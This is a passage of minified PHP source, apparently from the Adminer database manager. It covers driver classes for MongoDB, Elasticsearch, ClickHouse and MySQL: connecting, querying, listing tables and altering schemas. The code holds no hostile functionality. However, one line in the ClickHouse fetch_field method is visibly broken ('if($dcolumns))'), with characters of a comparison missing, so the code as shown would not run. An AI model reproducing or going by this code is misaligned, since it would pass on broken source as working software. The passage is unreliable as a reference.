as$vk)$Z[]=trim($vk);if(count($yk)==1)$yk=array();elseif(count($yk)>1)$Z=array();return
where_to_query($Z,$yk);}function
where_to_query($tk=array(),$uk=array()){global$b;$jc=array();foreach(array('and'=>$tk,'or'=>$uk)as$U=>$Z){if(is_array($Z)){foreach($Z
as$qd){list($Db,$ug,$X)=explode(" ",$qd,3);if($Db=="_id"){$X=str_replace('MongoDB\BSON\ObjectID("',"",$X);$X=str_replace('")',"",$X);$yb='MongoDB\BSON\ObjectID';$X=new$yb($X);}if(!in_array($ug,$b->operators))continue;if(preg_match('~^\(f\)(.+)~',$ug,$_)){$X=(float)$X;$ug=$_[1];}elseif(preg_match('~^\(date\)(.+)~',$ug,$_)){$nc=new
DateTime($X);$yb='MongoDB\BSON\UTCDatetime';$X=new$yb($nc->getTimestamp()*1000);$ug=$_[1];}switch($ug){case'=':$ug='$eq';break;case'!=':$ug='$ne';break;case'>':$ug='$gt';break;case'<':$ug='$lt';break;case'>=':$ug='$gte';break;case'<=':$ug='$lte';break;case'regex':$ug='$regex';break;default:continue
2;}if($U=='and')$jc['$and'][]=array($Db=>array($ug=>$X));elseif($U=='or')$jc['$or'][]=array($Db=>array($ug=>$X));}}}return$jc;}$wg=array("=","!=",">","<",">=","<=","regex","(f)=","(f)!=","(f)>","(f)<","(f)>=","(f)<=","(date)=","(date)!=","(date)>","(date)<","(date)>=","(date)<=",);}function
table($t){return$t;}function
idf_escape($t){return$t;}function
table_status($A="",$_d=false){$H=array();foreach(tables_list()as$R=>$U){$H[$R]=array("Name"=>$R);if($A==$R)return$H[$R];}return$H;}function
create_database($k,$Fb){return
true;}function
last_id(){global$g;return$g->last_id;}function
error(){global$g;return
h($g->error);}function
collations(){return
array();}function
logged_user(){global$b;$dc=$b->credentials();return$dc[1];}function
connect(){global$b;$g=new
Min_DB;list($N,$V,$E)=$b->credentials();$zg=array();if($V.$E!=""){$zg["username"]=$V;$zg["password"]=$E;}$k=$b->database();if($k!="")$zg["db"]=$k;if(($Sa=getenv("MONGO_AUTH_SOURCE")))$zg["authSource"]=$Sa;try{$g->_link=$g->connect("mongodb://$N",$zg);if($E!=""){$zg["password"]="";try{$g->connect("mongodb://$N",$zg);return
lang(20);}catch(Exception$jd){}}return$g;}catch(Exception$jd){return$jd->getMessage();}}function
alter_indexes($R,$c){global$g;foreach($c
as$X){list($U,$A,$O)=$X;if($O=="DROP")$H=$g->_db->command(array("deleteIndexes"=>$R,"index"=>$A));else{$e=array();foreach($O
as$d){$d=preg_replace('~ DESC$~','',$d,1,$Yb);$e[$d]=($Yb?-1:1);}$H=$g->_db->selectCollection($R)->ensureIndex($e,array("unique"=>($U=="UNIQUE"),"name"=>$A,));}if($H['errmsg']){$g->error=$H['errmsg'];return
false;}}return
true;}function
support($Ad){return
preg_match("~database|indexes|descidx~",$Ad);}function
db_collation($k,$Gb){}function
information_schema(){}function
is_view($S){}function
convert_field($n){}function
unconvert_field($n,$H){return$H;}function
foreign_keys($R){return
array();}function
fk_support($S){}function
engines(){return
array();}function
alter_table($R,$A,$o,$Td,$Lb,$cd,$Fb,$Ta,$Zg){global$g;if($R==""){$g->_db->createCollection($A);return
true;}}function
drop_tables($T){global$g;foreach($T
as$R){$Uh=$g->_db->selectCollection($R)->drop();if(!$Uh['ok'])return
false;}return
true;}function
truncate_tables($T){global$g;foreach($T
as$R){$Uh=$g->_db->selectCollection($R)->remove();if(!$Uh['ok'])return
false;}return
true;}$w="mongo";$be=array();$ie=array();$Tc=array(array("json"));}$Hc["elastic"]="Elasticsearch (beta)";if(isset($_GET["elastic"])){$oh=array("json + allow_url_fopen");define("DRIVER","elastic");if(function_exists('json_decode')&&ini_bool('allow_url_fopen')){class
Min_DB{var$extension="JSON",$server_info,$errno,$error,$_url;function
rootQuery($dh,$Sb=array(),$Nf='GET'){@ini_set('track_errors',1);$Ed=@file_get_contents("$this->_url/".ltrim($dh,'/'),false,stream_context_create(array('http'=>array('method'=>$Nf,'content'=>$Sb===null?$Sb:json_encode($Sb),'header'=>'Content-Type: application/json','ignore_errors'=>1,))));if(!$Ed){$this->error=$php_errormsg;return$Ed;}if(!preg_match('~^HTTP/[0-9.]+ 2~i',$http_response_header[0])){$this->error=$Ed;return
false;}$H=json_decode($Ed,true);if($H===null){$this->errno=json_last_error();if(function_exists('json_last_error_msg'))$this->error=json_last_error_msg();else{$Rb=get_defined_constants(true);foreach($Rb['json']as$A=>$Y){if($Y==$this->errno&&preg_match('~^JSON_ERROR_~',$A)){$this->error=$A;break;}}}}return$H;}function
query($dh,$Sb=array(),$Nf='GET'){return$this->rootQuery(($this->_db!=""?"$this->_db/":"/").ltrim($dh,'/'),$Sb,$Nf);}function
connect($N,$V,$E){preg_match('~^(https?://)?(.*)~',$N,$_);$this->_url=($_[1]?$_[1]:"http://")."$V:$E@$_[2]";$H=$this->query('');if($H)$this->server_info=$H['version']['number'];return(bool)$H;}function
select_db($i){$this->_db=$i;return
true;}function
quote($Q){return$Q;}}class
Min_Result{var$num_rows,$_rows;function
__construct($J){$this->num_rows=count($J);$this->_rows=$J;reset($this->_rows);}function
fetch_assoc(){$H=current($this->_rows);next($this->_rows);return$H;}function
fetch_row(){return
array_values($this->fetch_assoc());}}}class
Min_Driver
extends
Min_SQL{function
select($R,$L,$Z,$fe,$Ag=array(),$y=1,$D=0,$th=false){global$b;$jc=array();$F="$R/_search";if($L!=array("*"))$jc["fields"]=$L;if($Ag){$Ci=array();foreach($Ag
as$Db){$Db=preg_replace('~ DESC$~','',$Db,1,$Yb);$Ci[]=($Yb?array($Db=>"desc"):$Db);}$jc["sort"]=$Ci;}if($y){$jc["size"]=+$y;if($D)$jc["from"]=($D*$y);}foreach($Z
as$X){list($Db,$ug,$X)=explode(" ",$X,3);if($Db=="_id")$jc["query"]["ids"]["values"][]=$X;elseif($Db.$X!=""){$jj=array("term"=>array(($Db!=""?$Db:"_all")=>$X));if($ug=="=")$jc["query"]["filtered"]["filter"]["and"][]=$jj;else$jc["query"]["filtered"]["query"]["bool"]["must"][]=$jj;}}if($jc["query"]&&!$jc["query"]["filtered"]["query"]&&!$jc["query"]["ids"])$jc["query"]["filtered"]["query"]=array("match_all"=>array());$Li=microtime(true);$ki=$this->_conn->query($F,$jc);if($th)echo$b->selectQuery("$F: ".json_encode($jc),$Li,!$ki);if(!$ki)return
false;$H=array();foreach($ki['hits']['hits']as$te){$I=array();if($L==array("*"))$I["_id"]=$te["_id"];$o=$te['_source'];if($L!=array("*")){$o=array();foreach($L
as$x)$o[$x]=$te['fields'][$x];}foreach($o
as$x=>$X){if($jc["fields"])$X=$X[0];$I[$x]=(is_array($X)?json_encode($X):$X);}$H[]=$I;}return
new
Min_Result($H);}function
update($U,$Ih,$Dh,$y=0,$M="\n"){$bh=preg_split('~ *= *~',$Dh);if(count($bh)==2){$s=trim($bh[1]);$F="$U/$s";return$this->_conn->query($F,$Ih,'POST');}return
false;}function
insert($U,$Ih){$s="";$F="$U/$s";$Uh=$this->_conn->query($F,$Ih,'POST');$this->_conn->last_id=$Uh['_id'];return$Uh['created'];}function
delete($U,$Dh,$y=0){$ye=array();if(is_array($_GET["where"])&&$_GET["where"]["_id"])$ye[]=$_GET["where"]["_id"];if(is_array($_POST['check'])){foreach($_POST['check']as$qb){$bh=preg_split('~ *= *~',$qb);if(count($bh)==2)$ye[]=trim($bh[1]);}}$this->_conn->affected_rows=0;foreach($ye
as$s){$F="{$U}/{$s}";$Uh=$this->_conn->query($F,'{}','DELETE');if(is_array($Uh)&&$Uh['found']==true)$this->_conn->affected_rows++;}return$this->_conn->affected_rows;}}function
connect(){global$b;$g=new
Min_DB;list($N,$V,$E)=$b->credentials();if($E!=""&&$g->connect($N,$V,""))return
lang(20);if($g->connect($N,$V,$E))return$g;return$g->error;}function
support($Ad){return
preg_match("~database|table|columns~",$Ad);}function
logged_user(){global$b;$dc=$b->credentials();return$dc[1];}function
get_databases(){global$g;$H=$g->rootQuery('_aliases');if($H){$H=array_keys($H);sort($H,SORT_STRING);}return$H;}function
collations(){return
array();}function
db_collation($k,$Gb){}function
engines(){return
array();}function
count_tables($j){global$g;$H=array();$G=$g->query('_stats');if($G&&$G['indices']){$Fe=$G['indices'];foreach($Fe
as$Ee=>$Mi){$De=$Mi['total']['indexing'];$H[$Ee]=$De['index_total'];}}return$H;}function
tables_list(){global$g;$H=$g->query('_mapping');if($H)$H=array_fill_keys(array_keys($H[$g->_db]["mappings"]),'table');return$H;}function
table_status($A="",$_d=false){global$g;$ki=$g->query("_search",array("size"=>0,"aggregations"=>array("count_by_type"=>array("terms"=>array("field"=>"_type")))),"POST");$H=array();if($ki){$T=$ki["aggregations"]["count_by_type"]["buckets"];foreach($T
as$R){$H[$R["key"]]=array("Name"=>$R["key"],"Engine"=>"table","Rows"=>$R["doc_count"],);if($A!=""&&$A==$R["key"])return$H[$A];}}return$H;}function
error(){global$g;return
h($g->error);}function
information_schema(){}function
is_view($S){}function
indexes($R,$h=null){return
array(array("type"=>"PRIMARY","columns"=>array("_id")),);}function
fields($R){global$g;$G=$g->query("$R/_mapping");$H=array();if($G){$wf=$G[$R]['properties'];if(!$wf)$wf=$G[$g->_db]['mappings'][$R]['properties'];if($wf){foreach($wf
as$A=>$n){$H[$A]=array("field"=>$A,"full_type"=>$n["type"],"type"=>$n["type"],"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),);if($n["properties"]){unset($H[$A]["privileges"]["insert"]);unset($H[$A]["privileges"]["update"]);}}}}return$H;}function
foreign_keys($R){return
array();}function
table($t){return$t;}function
idf_escape($t){return$t;}function
convert_field($n){}function
unconvert_field($n,$H){return$H;}function
fk_support($S){}function
found_rows($S,$Z){return
null;}function
create_database($k){global$g;return$g->rootQuery(urlencode($k),null,'PUT');}function
drop_databases($j){global$g;return$g->rootQuery(urlencode(implode(',',$j)),array(),'DELETE');}function
alter_table($R,$A,$o,$Td,$Lb,$cd,$Fb,$Ta,$Zg){global$g;$zh=array();foreach($o
as$vd){$Cd=trim($vd[1][0]);$Dd=trim($vd[1][1]?$vd[1][1]:"text");$zh[$Cd]=array('type'=>$Dd);}if(!empty($zh))$zh=array('properties'=>$zh);return$g->query("_mapping/{$A}",$zh,'PUT');}function
drop_tables($T){global$g;$H=true;foreach($T
as$R)$H=$H&&$g->query(urlencode($R),array(),'DELETE');return$H;}function
last_id(){global$g;return$g->last_id;}$w="elastic";$wg=array("=","query");$be=array();$ie=array();$Tc=array(array("json"));$Nj=array();$Pi=array();foreach(array(lang(25)=>array("long"=>3,"integer"=>5,"short"=>8,"byte"=>10,"double"=>20,"float"=>66,"half_float"=>12,"scaled_float"=>21),lang(26)=>array("date"=>10),lang(23)=>array("string"=>65535,"text"=>65535),lang(27)=>array("binary"=>255),)as$x=>$X){$Nj+=$X;$Pi[$x]=array_keys($X);}}$Hc["clickhouse"]="ClickHouse (alpha)";if(isset($_GET["clickhouse"])){define("DRIVER","clickhouse");class
Min_DB{var$extension="JSON",$server_info,$errno,$_result,$error,$_url;var$_db='default';function
rootQuery($k,$F){@ini_set('track_errors',1);$Ed=@file_get_contents("$this->_url/?database=$k",false,stream_context_create(array('http'=>array('method'=>'POST','content'=>$this->isQuerySelectLike($F)?"$F FORMAT JSONCompact":$F,'header'=>'Content-type: application/x-www-form-urlencoded','ignore_errors'=>1,))));if($Ed===false){$this->error=$php_errormsg;return$Ed;}if(!preg_match('~^HTTP/[0-9.]+ 2~i',$http_response_header[0])){$this->error=$Ed;return
false;}$H=json_decode($Ed,true);if($H===null){if(!$this->isQuerySelectLike($F)&&$Ed==='')return
true;$this->errno=json_last_error();if(function_exists('json_last_error_msg'))$this->error=json_last_error_msg();else{$Rb=get_defined_constants(true);foreach($Rb['json']as$A=>$Y){if($Y==$this->errno&&preg_match('~^JSON_ERROR_~',$A)){$this->error=$A;break;}}}}return
new
Min_Result($H);}function
isQuerySelectLike($F){return(bool)preg_match('~^(select|show)~i',$F);}function
query($F){return$this->rootQuery($this->_db,$F);}function
connect($N,$V,$E){preg_match('~^(https?://)?(.*)~',$N,$_);$this->_url=($_[1]?$_[1]:"http://")."$V:$E@$_[2]";$H=$this->query('SELECT 1');return(bool)$H;}function
select_db($i){$this->_db=$i;return
true;}function
quote($Q){return"'".addcslashes($Q,"\\'")."'";}function
multi_query($F){return$this->_result=$this->query($F);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
result($F,$n=0){$G=$this->query($F);return$G['data'];}}class
Min_Result{var$num_rows,$_rows,$columns,$meta,$_offset=0;function
__construct($G){$this->num_rows=$G['rows'];$this->_rows=$G['data'];$this->meta=$G['meta'];$this->columns=array_column($this->meta,'name');reset($this->_rows);}function
fetch_assoc(){$I=current($this->_rows);next($this->_rows);return$I===false?false:array_combine($this->columns,$I);}function
fetch_row(){$I=current($this->_rows);next($this->_rows);return$I;}function
fetch_field(){$d=$this->_offset++;$H=new
stdClass;if($dcolumns)){$H->name=$this->meta[$d]['name'];$H->orgname=$H->name;$H->type=$this->meta[$d]['type'];}return$H;}}class
Min_Driver
extends
Min_SQL{function
delete($R,$Dh,$y=0){if($Dh==='')$Dh='WHERE 1=1';return
queries("ALTER TABLE ".table($R)." DELETE $Dh");}function
update($R,$O,$Dh,$y=0,$M="\n"){$hk=array();foreach($O
as$x=>$X)$hk[]="$x = $X";$F=$M.implode(",$M",$hk);return
queries("ALTER TABLE ".table($R)." UPDATE $F$Dh");}}function
idf_escape($t){return"`".str_replace("`","``",$t)."`";}function
table($t){return
idf_escape($t);}function
explain($g,$F){return'';}function
found_rows($S,$Z){$J=get_vals("SELECT COUNT(*) FROM ".idf_escape($S["Name"]).($Z?" WHERE ".implode(" AND ",$Z):""));return
empty($J)?false:$J[0];}function
alter_table($R,$A,$o,$Td,$Lb,$cd,$Fb,$Ta,$Zg){$c=$Ag=array();foreach($o
as$n){if($n[1][2]===" NULL")$n[1][1]=" Nullable({$n[1][1]})";elseif($n[1][2]===' NOT NULL')$n[1][2]='';if($n[1][3])$n[1][3]='';$c[]=($n[1]?($R!=""?($n[0]!=""?"MODIFY COLUMN ":"ADD COLUMN "):" ").implode($n[1]):"DROP COLUMN ".idf_escape($n[0]));$Ag[]=$n[1][0];}$c=array_merge($c,$Td);$P=($cd?" ENGINE ".$cd:"");if($R=="")return
queries("CREATE TABLE ".table($A)." (\n".implode(",\n",$c)."\n)$P$Zg".' ORDER BY ('.implode(',',$Ag).')');if($R!=$A){$G=queries("RENAME TABLE ".table($R)." TO ".table($A));if($c)$R=$A;else
return$G;}if($P)$c[]=ltrim($P);return($c||$Zg?queries("ALTER TABLE ".table($R)."\n".implode(",\n",$c).$Zg):true);}function
truncate_tables($T){return
apply_queries("TRUNCATE TABLE",$T);}function
drop_views($mk){return
drop_tables($mk);}function
drop_tables($T){return
apply_queries("DROP TABLE",$T);}function
connect(){global$b;$g=new
Min_DB;$dc=$b->credentials();if($g->connect($dc[0],$dc[1],$dc[2]))return$g;return$g->error;}function
get_databases($Pd){global$g;$G=get_rows('SHOW DATABASES');$H=array();foreach($G
as$I)$H[]=$I['name'];sort($H);return$H;}function
limit($F,$Z,$y,$B=0,$M=" "){return" $F$Z".($y!==null?$M."LIMIT $y".($B?", $B":""):"");}function
limit1($R,$F,$Z,$M="\n"){return
limit($F,$Z,1,0,$M);}function
db_collation($k,$Gb){}function
engines(){return
array('MergeTree');}function
logged_user(){global$b;$dc=$b->credentials();return$dc[1];}function
tables_list(){$G=get_rows('SHOW TABLES');$H=array();foreach($G
as$I)$H[$I['name']]='table';ksort($H);return$H;}function
count_tables($j){return
array();}function
table_status($A="",$_d=false){global$g;$H=array();$T=get_rows("SELECT name, engine FROM system.tables WHERE database = ".q($g->_db));foreach($T
as$R){$H[$R['name']]=array('Name'=>$R['name'],'Engine'=>$R['engine'],);if($A===$R['name'])return$H[$R['name']];}return$H;}function
is_view($S){return
false;}function
fk_support($S){return
false;}function
convert_field($n){}function
unconvert_field($n,$H){if(in_array($n['type'],array("Int8","Int16","Int32","Int64","UInt8","UInt16","UInt32","UInt64","Float32","Float64")))return"to$n[type]($H)";return$H;}function
fields($R){$H=array();$G=get_rows("SELECT name, type, default_expression FROM system.columns WHERE ".idf_escape('table')." = ".q($R));foreach($G
as$I){$U=trim($I['type']);$eg=strpos($U,'Nullable(')===0;$H[trim($I['name'])]=array("field"=>trim($I['name']),"full_type"=>$U,"type"=>$U,"default"=>trim($I['default_expression']),"null"=>$eg,"auto_increment"=>'0',"privileges"=>array("insert"=>1,"select"=>1,"update"=>0),);}return$H;}function
indexes($R,$h=null){return
array();}function
foreign_keys($R){return
array();}function
collations(){return
array();}function
information_schema($k){return
false;}function
error(){global$g;return
h($g->error);}function
types(){return
array();}function
schemas(){return
array();}function
get_schema(){return"";}function
set_schema($ii){return
true;}function
auto_increment(){return'';}function
last_id(){return
0;}function
support($Ad){return
preg_match("~^(columns|sql|status|table|drop_col)$~",$Ad);}$w="clickhouse";$Nj=array();$Pi=array();foreach(array(lang(25)=>array("Int8"=>3,"Int16"=>5,"Int32"=>10,"Int64"=>19,"UInt8"=>3,"UInt16"=>5,"UInt32"=>10,"UInt64"=>20,"Float32"=>7,"Float64"=>16,'Decimal'=>38,'Decimal32'=>9,'Decimal64'=>18,'Decimal128'=>38),lang(26)=>array("Date"=>13,"DateTime"=>20),lang(23)=>array("String"=>0),lang(27)=>array("FixedString"=>0),)as$x=>$X){$Nj+=$X;$Pi[$x]=array_keys($X);}$Uj=array();$wg=array("=","<",">","<=",">=","!=","~","!~","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL","SQL");$be=array();$ie=array("avg","count","count distinct","max","min","sum");$Tc=array();}$Hc=array("server"=>"MySQL")+$Hc;if(!defined("DRIVER")){$oh=array("MySQLi","MySQL","PDO_MySQL");define("DRIVER","server");if(extension_loaded("mysqli")){class
Min_DB
extends
MySQLi{var$extension="MySQLi";function
__construct(){parent::init();}function
connect($N="",$V="",$E="",$i=null,$kh=null,$Bi=null){global$b;mysqli_report(MYSQLI_REPORT_OFF);list($ue,$kh)=explode(":",$N,2);$Ki=$b->connectSsl();if($Ki)$this->ssl_set($Ki['key'],$Ki['cert'],$Ki['ca'],'','');$H=@$this->real_connect(($N!=""?$ue:ini_get("mysqli.default_host")),($N.$V!=""?$V:ini_get("mysqli.default_user")),($N.$V.$E!=""?$E:ini_get("mysqli.default_pw")),$i,(is_numeric($kh)?$kh:ini_get("mysqli.default_port")),(!is_numeric($kh)?$kh:$Bi),($Ki?64:0));$this->options(MYSQLI_OPT_LOCAL_INFILE,false);return$H;}function
set_charset($pb){if(parent::set_charset($pb))return
true;parent::set_charset('utf8');return$this->query("SET NAMES $pb");}function
result($F,$n=0){$G=$this->query($F);if(!$G)return
false;$I=$G->fetch_array();return$I[$n];}function
quote($Q){return"'".$this->escape_string($Q)."'";}}}elseif(extension_loaded("mysql")&&!((ini_bool("sql.safe_mode")||ini_bool("mysql.allow_local_infile"))&&extension_loaded("pdo_mysql"))){class
Min_DB{var$extension="MySQL",$server_info,$affected_rows,$errno,$error,$_link,$_result;function
connect($N,$V,$E){if(ini_bool("mysql.allow_local_infile")){$this->error=lang(30,"'mysql.allow_local_infile'","MySQLi","PDO_MySQL");return
false;}$this->_link=@mysql_connect(($N!=""?$N:ini_get("mysql.default_host")),("$N$V"!=""?$V:ini_get("mysql.default_user")),("$N$V$E"!=""?$E:ini_get("mysql.default_password")),true,131072);if($this->_link)$this->server_info=mysql_get_server_info($this->_link);else$this->error=mysql_error();return(bool)$this->_link;}function
set_charset($pb){if(function_exists('mysql_set_charset')){if(mysql_set_charset($pb,$this->_link))return
true;mysql_set_charset('utf8',$this->_link);}return$this->query("SET NAMES $pb");}function
quote($Q){return"'".mysql_real_escape_string($Q,$this->_link)."'";}function
select_db($i){return
mysql_select_db($i,$this->_link);}function
query($F,$Oj=false){$G=@($Oj?mysql_unbuffered_query($F,$this->_link):mysql_query($F,$this->_link));$this->error="";if(!$G){$this->errno=mysql_errno($this->_link);$this->error=mysql_error($this->_link);return
false;}if($G===true){$this->affected_rows=mysql_affected_rows($this->_link);$this->info=mysql_info($this->_link);return
true;}return
new
Min_Result($G);}function
multi_query($F){return$this->_result=$this->query($F);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
result($F,$n=0){$G=$this->query($F);if(!$G||!$G->num_rows)return
false;return
mysql_result($G->_result,0,$n);}}class
Min_Result{var$num_rows,$_result,$_offset=0;function
__construct($G){$this->_result=$G;$this->num_rows=mysql_num_rows($G);}function
fetch_assoc(){return
mysql_fetch_assoc($this->_result);}function
fetch_row(){return
mysql_fetch_row($this->_result);}function
fetch_field(){$H=mysql_fetch_field($this->_result,$this->_offset++);$H->orgtable=$H->table;$H->orgname=$H->name;$H->charsetnr=($H->blob?63:0);return$H;}function
__destruct(){mysql_free_result($this->_result);}}}elseif(extension_loaded("pdo_mysql")){class
Min_DB
extends
Min_PDO{var$extension="PDO_MySQL";function
connect($N,$V,$E){global$b;$zg=array(PDO::MYSQL_ATTR_LOCAL_INFILE=>false);$Ki=$b->connectSsl();if($Ki){if(!empty($Ki['key']))$zg[PDO::MYSQL_ATTR_SSL_KEY]=$Ki['key'];if(!empty($Ki['cert']))$zg[PDO::MYSQL_ATTR_SSL_CERT]=$Ki['cert'];if(!empty($Ki['ca']))$zg[PDO::MYSQL_ATTR_SSL_CA]=$Ki['ca'];}$this->dsn("mysql:charset=utf8;host=".str_replace(":",";unix_socket=",preg_replace('~:(\d)~',';port=\1',$N)),$V,$E,$zg);return
true;}function
set_charset($pb){$this->query("SET NAMES $pb");}function
select_db($i){return$this->query("USE ".idf_escape($i));}function
query($F,$Oj=false){$this->setAttribute(1000,!$Oj);return
parent::query($F,$Oj);}}}class
Min_Driver
extends
Min_SQL{function
insert($R,$O){return($O?parent::insert($R,$O):queries("INSERT INTO ".table($R)." ()\nVALUES ()"));}function
insertUpdate($R,$J,$rh){$e=array_keys(reset($J));$ph="INSERT INTO ".table($R)." (".implode(", ",$e).") VALUES\n";$hk=array();foreach($e
as$x)$hk[$x]="$x = VALUES($x)";$Si="\nON DUPLICATE KEY UPDATE ".implode(", ",$hk);$hk=array();$of=0;foreach($J
as$O){$Y="(".implode(", ",$O).")";if($hk&&(strlen($ph)+$of+strlen($Y)+strlen($Si)>1e6)){if(!queries($ph.implode(",\n",$hk).$Si))return
false;$hk=array();$of=0;}$hk[]=$Y;$of+=strlen($Y)+2;}return
queries($ph.implode(",\n",$hk).$Si);}function
slowQuery($F,$pj){if(min_version('5.7.8','10.1.2')){if(preg_match('~MariaDB~',$this->_conn->server_info))return"SET STATEMENT max_statement_time=$pj FOR $F";elseif(preg_match('~^(SELECT\b)(.+)~is',$F,$_))return"$_[1] /*+ MAX_EXECUTION_TIME(".($pj*1000).") */ $_[2]";}}function
convertSearch($t,$X,$n){return(preg_match('~char|text|enum|set~',$n["type"])&&!preg_match("~^utf8~",$n["collation"])&&preg_match('~[\x80-\xFF]~',$X['val'])?"CONVERT($t USING ".charset($this->_conn).")":$t);}function
warnings(){$G=$this->_conn->query("SHOW WARNINGS");if($G&&$G->num_rows){ob_start();select($G);return
ob_get_clean();}}function
tableHelp($A){$xf=preg_match('~MariaDB~',$this->_conn->server_info);if(information_schema(DB))return
strtolower(($xf?"information-schema-$A-table/":str_replace("_","-",$A)."-table.html"));if(DB=="mysql")return($xf?"mysql$A-table/":"system-database.html");}}function
idf_escape($t){return"`".str_replace("`","``",$t)."`";}function
table($t){return
idf_escape($t);}function
connect(){global$b,$Nj,$Pi;$g=new
Min_DB;$dc=$b->credentials();if($g->connect($dc[0],$dc[1],$dc[2])){$g->set_charset(charset($g));$g->query("SET sql_quote_show_create = 1, autocommit = 1");if(min_version('5.7.8',10.2,$g)){$Pi[lang(23)][]="json";$Nj["json"]=4294967295;}return$g;}$H=$g->error;if(function_exists('iconv')&&!is_utf8($H)&&strlen($K=iconv("windows-1250","utf-8",$H))>strlen($H))$H=$K;return$H;}function
get_databases($Pd){$H=get_session("dbs");if($H===null){$F=(min_version(5)?"SELECT SCHEMA_NAME FROM information_schema.SCHEMATA ORDER BY SCHEMA_NAME":"SHOW DATABASES");$H=($Pd?slow_query($F):get_vals($F));restart_session();set_session("dbs",$H);stop_session();}return$H;}function
limit($F,$Z,$y,$B=0,$M=" "){return" $F$Z".($y!==null?$M."LIMIT $y".($B?" OFFSET $B":""):"");}function
limit1($R,$F,$Z,$M="\n"){return
limit($F,$Z,1,0,$M);}function
db_collation($k,$Gb){global$g;$H=null;$ac=$g->result("SHOW CREATE DATABASE ".idf_escape($k),1);if(preg_match('~ COLLATE ([^ ]+)~',$ac,$_))$H=$_[1];elseif(preg_match('~ CHARACTER SET ([^ ]+)~',$ac,$_))$H=$Gb[$_[1]][-1];return$H;}function
engines(){$H=array();foreach(get_rows("SHOW ENGINES")as$I){if(preg_match("~YES|DEFAULT~",$I["Support"]))$H[]=$I["Engine"];}return$H;}function
logged_user(){global$g;return$g->result("SELECT USER()");}function
tables_list(){return
get_key_vals(min_version(5)?"SELECT TABLE_NAME, TABLE_TYPE FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() ORDER BY TABLE_NAME":"SHOW TABLES");}function
count_tables($j){$H=array();foreach($j
as$k)$H[$k]=count(get_vals("SHOW TABLES IN ".idf_escape($k)));return$H;}function
table_status($A="",$_d=false){$H=array();foreach(get_rows($_d&&min_version(5)?"SELECT TABLE_NAME AS Name, ENGINE AS Engine, TABLE_COMMENT AS Comment FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() ".($A!=""?"AND TABLE_NAME = ".q($A):"ORDER BY Name"):"SHOW TABLE STATUS".($A!=""?" LIKE ".q(addcslashes($A,"%_\\")):""))as$I){if($I["Engine"]=="InnoDB")$I["Comment"]=preg_replace('~(?:(.+); )?InnoDB free: .*~','\1',$I["Comment"]);if(!isset($I["Engine"]))$I["Comment"]="";if($A!="")return$I;$H[$I["Name"]]=$I;}return$H;}function
is_view($S){return$S["Engine"]===null;}function
fk_support($S){return
preg_match('~InnoDB|IBMDB2I~i',$S["Engine"])||(preg_match('~NDB~i',$S["Engine"])&&min_version(5.6));}function
fields($R){$H=array();foreach(get_rows("SHOW FULL COLUMNS FROM ".table($R))as$I){preg_match('~^([^( ]+)(?:\((.+)\))?( unsigned)?( zerofill)?$~',$I["Type"],$_);$H[$I["Field"]]=array("field"=>$I["Field"],"full_type"=>$I["Type"],"type"=>$_[1],"length"=>$_[2],"unsigned"=>ltrim($_[3].$_[4]),"default"=>($I["Default"]!=""||preg_match("~char|set~",$_[1])?$I["Default"]:null),"null"=>($I["Null"]=="YES"),"auto_increment"=>($I["Extra"]=="auto_increment"),"on_update"=>(preg_match('~^on update (.+)~i',$I["Extra"],$_)?$_[1]:""),"collation"=>$I["Collation"],"privileges"=>array_flip(preg_split('~, *~',$I["Privileges"])),"comment"=>$I["Comment"],"primary"=>($I["Key"]=="PRI"),"generated"=>preg_match('~^(VIRTUAL|PERSISTENT|STORED)~',$I["Extra"]),);}return$H;}function
indexes($R,$h=null){$H=array();foreach(get_rows("SHOW INDEX FROM ".table($R),$h)as$I){$A=$I["Key_name"];$H[$A]["type"]=($A=="PRIMARY"?"PRIMARY":($I["Index_type"]=="FULLTEXT"?"FULLTEXT":($I["Non_unique"]?($I["Index_type"]=="SPATIAL"?"SPATIAL":"INDEX"):"UNIQUE")));$H[$A]["columns"][]=$I["Column_name"];$H[$A]["lengths"][]=($I["Index_type"]=="SPATIAL"?null:$I["Sub_part"]);$H[$A]["descs"][]=null;}return$H;}function
foreign_keys($R){global$g,$rg;static$fh='(?:`(?:[^`]|``)+`|"(?:[^"]|"")+")';$H=array();$bc=$g->result("SHOW CREATE TABLE ".table($R),1);if($bc){preg_match_all("~CONSTRAINT ($fh) FOREIGN KEY ?\\(((?:$fh,? ?)+)\\) REFERENCES ($fh)(?:\\.($fh))? \\(((?:$fh,? ?)+)\\)(?: ON DELETE ($rg))?(?: ON UPDATE ($rg))?~",$bc,$_f,PREG_SET_ORDER);foreach($_f
as$_){preg_match_all("~$fh~",$_[2],$Di);preg_match_all("~$fh~",$_[5],$fj);$H[idf_unescape($_[1])]=array("db"=>idf_unescape($_[4]!=""?$_[3]:$_[4]),"table"=>idf_unescape($_[4]!=""?$_[4]:$_[3]),"source"=>array_map('idf_unescape',$Di[0]),"target"=>array_map('idf_unescape',$fj[0]),"on_delete"=>($_[6]?$_[6]:"RESTRICT"),"on_update"=>($_[7]?$_[7]:"RESTRICT"),);}}return$H;}function
view($A){global$g;return
array("select"=>preg_replace('~^(?:[^`]|`[^`]*`)*\s+AS\s+~isU','',$g->result("SHOW CREATE VIEW ".table($A),1)));}function
collations(){$H=array();foreach(get_rows("SHOW COLLATION")as$I){if($I["Default"])$H[$I["Charset"]][-1]=$I["Collation"];else$H[$I["Charset"]][]=$I["Collation"];}ksort($H);foreach($H
as$x=>$X)asort($H[$x]);return$H;}function
information_schema($k){return(min_version(5)&&$k=="information_schema")||(min_version(5.5)&&$k=="performance_schema");}function
error(){global$g;return
h(preg_replace('~^You have an error.*syntax to use~U',"Syntax error",$g->error));}function
create_database($k,$Fb){return
queries("CREATE DATABASE ".idf_escape($k).($Fb?" COLLATE ".q($Fb):""));}function
drop_databases($j){$H=apply_queries("DROP DATABASE",$j,'idf_escape');restart_session();set_session("dbs",null);return$H;}function
rename_database($A,$Fb){$H=false;if(create_database($A,$Fb)){$Sh=array();foreach(tables_list()as$R=>$U)$Sh[]=table($R)." TO ".idf_escape($A).".".table($R);$H=(!$Sh||queries("RENAME TABLE ".implode(", ",$Sh)));if($H)queries("DROP DATABASE ".idf_escape(DB));restart_session();set_session("dbs",null);}return$H;}function
